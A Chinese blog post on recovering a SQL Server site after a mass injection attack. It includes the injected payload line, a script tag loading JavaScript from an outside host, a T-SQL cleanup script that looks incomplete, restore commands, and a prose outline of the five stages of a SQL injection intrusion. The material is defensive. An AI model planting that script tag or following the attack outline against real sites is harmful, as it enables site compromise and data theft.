之前做过了一个网站,由于没有对页面参数进行验证,挂上去没多长时间就被人挂马了,数据库的每个表每个字段内容里都被注入了一段代码,什么在数据库中还新建了自己的表,真是太嚣张了,但是这么多内容是不可能手动去删除的,解决过程如下
一、首先删除数据库被注入的代码
如统一删除<script src=http://3b3.org/c.js></script> (此适用于sql server)
DECLARE hCForEach CURSOR GLOBALFOR
SELECT N'update '+QUOTENAME(o.name)
+N' set '+ QUOTENAME(c.name) + N' = replace(CAST(' + QUOTENAME(c.name) + ' as varchar(8000)),''<script src=http://3b3.org/c.js></script>'','''')'
FROM sysobjects o,syscolumns c,systypes t
WHERE o.id=c.id
AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
AND c.xusertype=t.xusertype
AND (t.name='varchar' or t.name='ntext')
EXEC sp_MSforeach_Worker @command1=N'?'
注意这样删除之后 ntext字段将被截断成8000个字符 导致数据丢失,当然其实在sql注入之前这种字段属性已经被截断了,所以在删除这些之后还要进行数据恢复但是 网站被挂马往往是随机的不知道什么时候 我们可能没有做及时的备份,无法恢复
这时候我们可以考虑从数据库日志进行恢复
1,如果误 *** 作之前存在一个全库备份(或已有多个差异备份或增量备份),首先要做的事就是进进行一次日志备份(如果为了不让日志文件变大而置trunc. log on chkpt.选项为1那你就死翘了)
backup log dbName to disk='fileName'2,恢复一个全库备份,注意需要使用with norecovery,如果还有其他差异或增量备份,则逐个恢复
restore database dbName from disk='fileName' with norecovery3,恢复最后一个日志备份即刚做的日志备份,指定恢复时间点到误 *** 作之前的时刻
restore log dbName from disk='fileName'with stopat='date_time'
最后就是把网站的漏洞补上 对参数进行过滤
第一步:SQL注入点探测。探测SQL注入点是关键的第一步,通过适当的分析应用程序,可以判断什么地方存在SQL注入点。通常只要带有输入提交的动态网页,并且动态网页访问数据库,就可能存在SQL注入漏洞。如果程序员信息安全意识不强,采用动态构造SQL语句访问数据库,并且对用户输入未进行有效验证,则存在SQL注入漏洞的可能性很大。一般通过页面的报错信息来确定是否存在SQL注入漏洞。第二步:收集后台数据库信息。不同数据库的注入方法、函数都不尽相同,因此在注入之前,我们先要判断一下数据库的类型。判断数据库类型的方法有很多,可以输入特殊字符,如单引号,让程序返回错误信息,我们根据错误信息提示进行判断,还可以使用特定函数来判断。
第三步:猜解用户名和密码。数据库中的表和字段命名一般都是有规律的,通过构造特殊的SQL语句在数据库中依次猜解出表名、字段名、字段数、用户名和密码。
第四步:查找Web后台管理入口。Web后台管理通常不对普通用户开放,要找到后台管理的登录网址,可以利用Web目录扫描工具快速搜索到可能的登录地址,然后逐一尝试,便可以找到后台管理平台的登录网址。
第五步:入侵和破坏。一般后台管理具有较高权限和较多的功能,使用前面已破译的用户名、密码成功登录后台管理平台后,就可以任意进行破坏,比如上传木马、篡改网页、修改和窃取信息等,还可以进一步提权,入侵Web服务器和数据库服务器。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)